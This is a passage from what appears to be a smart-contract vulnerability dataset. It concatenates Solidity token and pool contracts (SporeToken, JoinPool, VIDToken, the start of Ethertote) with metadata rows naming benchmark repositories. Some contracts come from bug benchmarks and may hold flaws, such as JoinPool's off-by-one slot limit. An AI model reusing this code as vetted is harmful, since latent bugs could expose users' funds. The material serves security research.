set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IBEP20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract SporeToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("Spore Token", "SPORE") {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "must have minter role to mint");
_mint(to, amount);
}
function burn(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "must have minter role to mint");
_burn(to, amount);
}
}
| 254,847 | 12,036 |
e0e367f1a77c1097daa95ce9275d492b7be490b7c87f8275d33971008b606d40
| 18,525 |
.sol
|
Solidity
| false |
399716348
|
BSCStationSwap/contract
|
07f57a1b49b32f94d444591e1986c0066185d2de
|
JoinPoolMaxSell.sol
| 2,687 | 10,698 |
//https://programtheblockchain.com/posts/2018/02/17/signing-and-verifying-messages-in-ethereum/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract JoinPool {
using SafeERC20 for IERC20;
address public admin;
address public fundReceiver;
mapping(address => mapping(uint256 => mapping(uint256 => bool))) public isJoined;
uint256 public totalJoined;
address public busdToken;
uint256 public joinStartAt;
uint256 public joinedCount;
uint256 public maxSell;
bool public initialized;
event EventJoined(address indexed sender,
uint256 amount,
uint256 projectId,
uint256 roundId,
uint256 date);
event EventSetConfig(address _busdToken,
uint256 _joinTime);
event EventEmergencyWithdraw(address _token,
address _to,
uint256 _amount);
constructor(address _busdToken,
address _fundReceiver,
uint256 _joinStartAt,
uint256 _maxSellSlots)
{
admin = msg.sender;
busdToken = _busdToken;
joinStartAt = _joinStartAt;
fundReceiver = _fundReceiver;
maxSell = _maxSellSlots;
}
function setAdm(address _newAdmin) external {
require(msg.sender == admin, 'only admin');
require(_newAdmin != address(0), '_newAdmin is zero address');
admin = _newAdmin;
}
function setConfig(address _busdToken,
uint256 _joinStartAt,
uint256 _maxSellSlots,
address _fundReceiver)
external
{
require(msg.sender == admin, 'only admin');
if (initialized == false) {
initialized = true;
}
if (_busdToken != address(0)) {
busdToken = _busdToken;
}
if (_joinStartAt > 0) {
joinStartAt = _joinStartAt;
}
if (_fundReceiver != address(0)) {
fundReceiver = _fundReceiver;
}
maxSell = _maxSellSlots;
emit EventSetConfig(_busdToken,
_joinStartAt);
}
function emergencyWithdraw(address _token,
address _to,
uint256 _amount)
external
{
require(msg.sender == admin,'Not allowed');
IERC20(_token).safeTransfer(_to, _amount);
emit EventEmergencyWithdraw(_token,
_to,
_amount);
}
function join(uint256 _amount,
uint256 _projectId,
uint256 _roundId,
bytes calldata sig)
external
returns(bool)
{
require(fundReceiver != address(0), 'Invalid deposit');
require(joinStartAt > 0 && block.timestamp >= joinStartAt,'Join pool has not started yet');
bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender,
_amount,
_projectId,
_roundId,
address(this))));
// must be in whitelist
require(recoverSigner(message, sig) == admin , 'wrong signature');
require(isJoined[msg.sender][_projectId][_roundId] == false,'Already joined');
if (maxSell > 0) {
require(joinedCount <= maxSell, 'Full slots');
}
isJoined[msg.sender][_projectId][_roundId] = true;
totalJoined += _amount;
joinedCount += 1;
IERC20(busdToken).transferFrom(msg.sender, fundReceiver, _amount);
emit EventJoined(msg.sender,
_amount,
_projectId,
_roundId,
block.timestamp);
return true;
}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32',
hash));
}
function recoverSigner(bytes32 message, bytes memory sig)
internal
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function splitSignature(bytes memory sig)
internal
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
}
| 246,110 | 12,037 |
72696a55f008303b4cfbba1d849172f9a653a821d402f0c6344746822418ffbd
| 9,744 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B3/sol/0x445f51299ef3307dbd75036dd896565f5b4bf7a5.sol
| 2,946 | 9,251 |
pragma solidity ^0.4.24;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256 balance);
function allowance(address owner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a - b;
assert(b <= a && c <= a);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a && c>=b);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20 _token, address _to, uint256 _value) internal {
require(_token.transfer(_to, _value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"O1- Owner only function");
_;
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract VIDToken is Owned, Pausable, ERC20 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public frozenAccount;
mapping (address => bool) public verifyPublisher;
mapping (address => bool) public verifyWallet;
struct fStruct { uint256 index; }
mapping(string => fStruct) private fileHashes;
string[] private fileIndex;
string public constant name = "V-ID Token";
uint8 public constant decimals = 18;
string public constant symbol = "VIDT";
uint256 public constant initialSupply = 100000000;
uint256 public validationPrice = 7 * 10 ** uint(decimals);
address public validationWallet = address(0);
constructor() public {
validationWallet = msg.sender;
verifyWallet[msg.sender] = true;
totalSupply = initialSupply * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0),owner,initialSupply);
}
function () public payable {
revert();
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != msg.sender,"T1- Recipient can not be the same as sender");
require(_to != address(0),"T2- Please check the recipient address");
require(balances[msg.sender] >= _value,"T3- The balance of sender is too low");
require(!frozenAccount[msg.sender],"T4- The wallet of sender is frozen");
require(!frozenAccount[_to],"T5- The wallet of recipient is frozen");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != address(0),"TF1- Please check the recipient address");
require(balances[_from] >= _value,"TF2- The balance of sender is too low");
require(allowed[_from][msg.sender] >= _value,"TF3- The allowance of sender is too low");
require(!frozenAccount[_from],"TF4- The wallet of sender is frozen");
require(!frozenAccount[_to],"TF5- The wallet of recipient is frozen");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0),"A1- Reset allowance to 0 first");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
struct TKN { address sender; uint256 value; bytes data; bytes4 sig; }
function tokenFallback(address _from, uint256 _value, bytes _data) public pure returns (bool) {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
return true;
}
function transferToken(address tokenAddress, uint256 tokens) public onlyOwner {
ERC20(tokenAddress).safeTransfer(owner,tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender],"B1- The balance of burner is too low");
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function freeze(address _address, bool _state) public onlyOwner returns (bool) {
frozenAccount[_address] = _state;
emit Freeze(_address, _state);
return true;
}
function validatePublisher(address Address, bool State, string Publisher) public onlyOwner returns (bool) {
verifyPublisher[Address] = State;
emit ValidatePublisher(Address,State,Publisher);
return true;
}
function validateWallet(address Address, bool State, string Wallet) public onlyOwner returns (bool) {
verifyWallet[Address] = State;
emit ValidateWallet(Address,State,Wallet);
return true;
}
function validateFile(address To, uint256 Payment, bytes Data, bool cStore, bool eLog) public whenNotPaused returns (bool) {
require(Payment>=validationPrice,"V1- Insufficient payment provided");
require(verifyPublisher[msg.sender],"V2- Unverified publisher address");
require(!frozenAccount[msg.sender],"V3- The wallet of publisher is frozen");
require(Data.length == 64,"V4- Invalid hash provided");
if (!verifyWallet[To] || frozenAccount[To]) {
To = validationWallet;
}
uint256 index = 0;
string memory fileHash = string(Data);
if (cStore) {
if (fileIndex.length > 0) {
require(fileHashes[fileHash].index == 0,"V5- This hash was previously validated");
}
fileHashes[fileHash].index = fileIndex.push(fileHash)-1;
index = fileHashes[fileHash].index;
}
if (allowed[To][msg.sender] >= Payment) {
allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment);
} else {
balances[msg.sender] = balances[msg.sender].sub(Payment);
balances[To] = balances[To].add(Payment);
}
emit Transfer(msg.sender, To, Payment);
if (eLog) {
emit ValidateFile(index,fileHash);
}
return true;
}
function verifyFile(string fileHash) public view returns (bool) {
if (fileIndex.length == 0) {
return false;
}
bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]);
bytes memory b = bytes(fileHash);
if (a.length != b.length) {
return false;
}
for (uint256 i = 0; i < a.length; i ++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function setPrice(uint256 newPrice) public onlyOwner {
validationPrice = newPrice;
}
function setWallet(address newWallet) public onlyOwner {
validationWallet = newWallet;
}
function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) {
if (fileIndex.length == 0) {
return false;
}
require(startAt <= fileIndex.length-1,"L1- Please select a valid start");
if (stopAt > 0) {
require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop");
} else {
stopAt = fileIndex.length-1;
}
for (uint256 i = startAt; i <= stopAt; i++) {
emit LogEvent(i,fileIndex[i]);
}
return true;
}
event Burn(address indexed burner, uint256 value);
event Freeze(address target, bool frozen);
event ValidateFile(uint256 index, string data);
event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName);
event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName);
event LogEvent(uint256 index, string data) anonymous;
}
| 19,972 | 12,038 |
96597abc8413e59ee759b0d90a4c8ce591b8d8ee2c920b1af2dcaf71321d0130
| 18,437 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x42be9831fff77972c1d0e1ec0aa9bdb3caa04d47.sol
| 3,534 | 17,751 |
pragma solidity ^0.4.24;
// 22.07.18
/*************/
//
// Ethertote token contract
//
// (parts of the token contract
// are based on the 'MiniMeToken' - Jordi Baylina)
//
// Fully ERC20 Compliant token
//
// Name: Ethertote
// Symbol: TOTE
// Decimals: 0
// Total supply: 10000000 (10 million tokens)
//
/*************/
// ----------------------------------------------------------------------------
// TokenController contract is called when `_owner` sends ether to the
// Ethertote Token contract
// ----------------------------------------------------------------------------
contract TokenController {
function proxyPayments(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public returns(bool);
}
// ----------------------------------------------------------------------------
// ApproveAndCallFallBack
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
// ----------------------------------------------------------------------------
// The main EthertoteToken contract, the default controller is the msg.sender
// that deploys the contract
// ----------------------------------------------------------------------------
contract EthertoteToken {
// Variables to ensure contract is conforming to ERC220
string public name;
uint8 public decimals;
string public symbol;
uint public _totalSupply;
// Addtional variables
string public version;
address public contractOwner;
address public thisContractAddress;
address public EthertoteAdminAddress;
bool public tokenGenerationLock; // ensure tokens can only be minted once
// the controller takes full control of the contract
address public controller;
// null address which will be assigned as controller for security purposes
address public relinquishOwnershipAddress = 0x0000000000000000000000000000000000000000;
// Modifier to ensure generateTokens() is only ran once by the constructor
modifier onlyController {
require(msg.sender == controller);
_;
}
modifier onlyContract {
require(address(this) == thisContractAddress);
_;
}
modifier EthertoteAdmin {
require(msg.sender == EthertoteAdminAddress);
_;
}
// Checkpoint is the struct that attaches a block number to a
// given value, and the block number attached is the one that last changed the
// value
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
// parentToken will be 0x0 for the token unless cloned
EthertoteToken private parentToken;
// parentSnapShotBlock is the block number from the Parent Token which will
// be 0x0 unless cloned
uint private parentSnapShotBlock;
// creationBlock is the 'genesis' block number when contract is deployed
uint public creationBlock;
// balances is the mapping which tracks the balance of each address
mapping (address => Checkpoint[]) balances;
// allowed is the mapping which tracks any extra transfer rights
// as per ERC20 token standards
mapping (address => mapping (address => uint256)) allowed;
// Checkpoint array tracks the history of the totalSupply of the token
Checkpoint[] totalSupplyHistory;
// needs to be set to 'true' to allow tokens to be transferred
bool public transfersEnabled;
// ----------------------------------------------------------------------------
// Constructor function initiated automatically when contract is deployed
// ----------------------------------------------------------------------------
constructor() public {
controller = msg.sender;
EthertoteAdminAddress = msg.sender;
tokenGenerationLock = false;
// --------------------------------------------------------------------
// set the following values prior to deployment
// --------------------------------------------------------------------
name = "Ethertote"; // Set the name
symbol = "TOTE"; // Set the symbol
decimals = 0; // Set the decimals
_totalSupply = 10000000 * 10**uint(decimals); // 10,000,000 tokens
version = "Ethertote Token contract - version 1.0";
//---------------------------------------------------------------------
// Additional variables set by the constructor
contractOwner = msg.sender;
thisContractAddress = address(this);
transfersEnabled = true; // allows tokens to be traded
creationBlock = block.number; // sets the genesis block
// Now call the internal generateTokens function to create the tokens
// and send them to owner
generateTokens(contractOwner, _totalSupply);
// Now that the tokens have been generated, finally reliquish
// ownership of the token contract for security purposes
controller = relinquishOwnershipAddress;
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface Methods for full compliance
